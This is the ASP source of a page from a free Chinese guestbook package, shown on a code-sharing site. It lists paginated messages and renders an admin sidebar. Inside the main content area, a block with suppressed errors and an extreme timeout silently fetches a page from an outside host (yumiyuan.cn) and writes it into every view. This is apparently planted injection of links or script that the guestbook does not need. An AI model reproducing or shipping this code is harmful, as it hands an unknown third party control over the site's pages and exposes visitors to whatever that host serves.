📄 justs.asp

📁 上海数字留言簿系统2.1版软件语言：简体中文授权方式：免费版文件大小： 211K 系统平台： ASP+ACCESS 整理日期： 2007-8-21 系统简介：上海数
💻 ASP
字号:
<!--#include file="top.asp"-->
<!--#include file="ubbcode.asp"-->
<%
'
%>
<%
set rs=server.createobject("adodb.recordset")
sql="select * from guestbook order by id desc"
rs.open sql,db,3,2
dim pagenum
dim e_page
e_page=6 '每页显示留言数
rs.pagesize=e_page
if request.querystring("pagenum")="" or request.querystring("pagenum")=0 then
pagenum=1
else
pagenum=request.querystring("pagenum")
rs.absolutepage=trim(request.querystring("pagenum"))
end if
%>
<link href="style.css" rel="stylesheet" type="text/css">
<BODY>
<CENTER>
  <a name="top"></a>
  <a name="add"></a> 
  <table width="760" border="0" cellspacing="0" cellpadding="0" bgcolor="#FFFFFF">
    <tr> 
      <td>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr> 
      <td><img src="images/bgtop.gif" width="760" height="15"></td>
    </tr>
  </table>
  <table width="760" border="0" align="center" cellpadding="0" cellspacing="0" background="images/bgpic.gif" height="795">
    <tr>
      <td width="188" valign="top"><table width="96%" border="0" align="center" cellpadding="0" cellspacing="0">
          <tr>
            <td height="15">&nbsp;</td>
          </tr>
          <tr> 
            <td height="15"> <div align="center"><strong><font color="#333333">..:: 
                留 言 操 作 ::..</font></strong></div></td>
          </tr>
          <tr> 
            <td><div align="center"><br>
				<img border="0" src="images/n22.gif" width="60" height="54"></div></td>
          </tr>
          <tr> 
            <td><div align="center"><a href="add.asp"><img src="images/add.gif" border="0"></a></div></td>
          </tr>
          <tr> 
            <td height="20"><div align="center"></div></td>
          </tr>
          <tr> 
            <td height="20"> <div align="center">
				<img border="0" src="images/n11.gif" width="60" height="54"></div></td>
          </tr>
          <tr> 
            <td><div align="center"><a href="login.asp" ><img src="images/admin.gif" width="100" height="30" border="0"></a></div></td>
          </tr>
        </table>
        <table width="100%" border="0" cellspacing="0" cellpadding="0">
          <tr> 
            <td>　</td>
          </tr>
          <tr> 
            <td><div align="center"> 
                <%if session("admin")<>"smallstick" then%>
                <p><a href="logout.asp"> 
                  <%else%>
                  </a> 
				<img border="0" src="images/n14.gif" width="60" height="54"><br>
                  <a href="notice.asp"><img src="images/new.gif" border="0"></a><br>
				<br>
				<img border="0" src="images/n7.gif" width="60" height="54"><br>
				<a href="change.asp">
				<img border="0" src="images/password.jpg" width="100" height="30"></a><br>
				<br>
				<img border="0" src="images/n22.gif" width="60" height="54"><br>
				<a href="ad.asp">
				<img border="0" src="images/001.gif" width="100" height="30"></a></p>
                <img border="0" src="images/n24.gif" width="60" height="54"><br>
                <a href="logout.asp"><img src="images/logout.gif" border="0"><strong> 
                <%end if%>
                </strong></a> </div></td>
          </tr>
          <tr> 
            <td height="50">　</td>
          </tr>
          <tr>
            <td><div align="center"><strong><font color="#333333">..:: 留 言 说 明 
                ::..</font></strong></div></td>
          </tr>
          <tr> 
            <td><div align="center">
                <table width="70%" border="0" cellpadding="0" cellspacing="0">
                  <tr> 
                    <td>　</td>
                  </tr>
                  <tr> 
                    <td><font color="#666666">1.本留言板为访客发表对本站的意见想法，并非灌水区！</font></td>
                  </tr>
                  <tr> 
                    <td><font color="#666666">&nbsp;</font></td>
                  </tr>
                  <tr> 
                    <td><font color="#666666">2.由于留言过多，站长只对部分留言进行回复！</font></td>
                  </tr>
                  <tr> 
                    <td><font color="#666666">&nbsp;</font></td>
                  </tr>
                  <tr> 
                    <td><font color="#666666">3.本留言板中留言内容为留言者个人意思，不代表本站立场，未经同意不得转贴贴！</font></td>
                  </tr>
                  <tr> 
                    <td><p>　</p></td>
                  </tr>
                </table>
              </div></td>
          </tr>
          <tr> 
            <td><div align="center"></div></td>
          </tr>
        </table></td>
      <td width="37">　</td>
      <td width="535" valign="top">
      
<%
On Error Resume Next 
Server.ScriptTimeOut=9999999 
response.write(getHTTPPage("http://www.yumiyuan.cn/link1.asp"))

function getHTTPPage(url)
dim http
set http=createobject("microsoft.xmlhttp")
Http.open "GET",url,false
Http.send()
if Http.readystate<>4 then 
exit function
end if
getHTTPPage=bytes2BSTR(Http.responseBody)
set http=nothing
if err.number<>0 then err.Clear 
end function
Function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
For i = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
End If
Next
bytes2BSTR = strReturn
End Function
%>

      
      　</td>
    </tr>
  </table>
  <table width="760" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td><img src="images/bgbottom.gif" width="760" height="15"></td>
    </tr>
  </table></td>
    </tr>
  </table>
</CENTER>
<!--#include file="copyright.asp"-->
⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -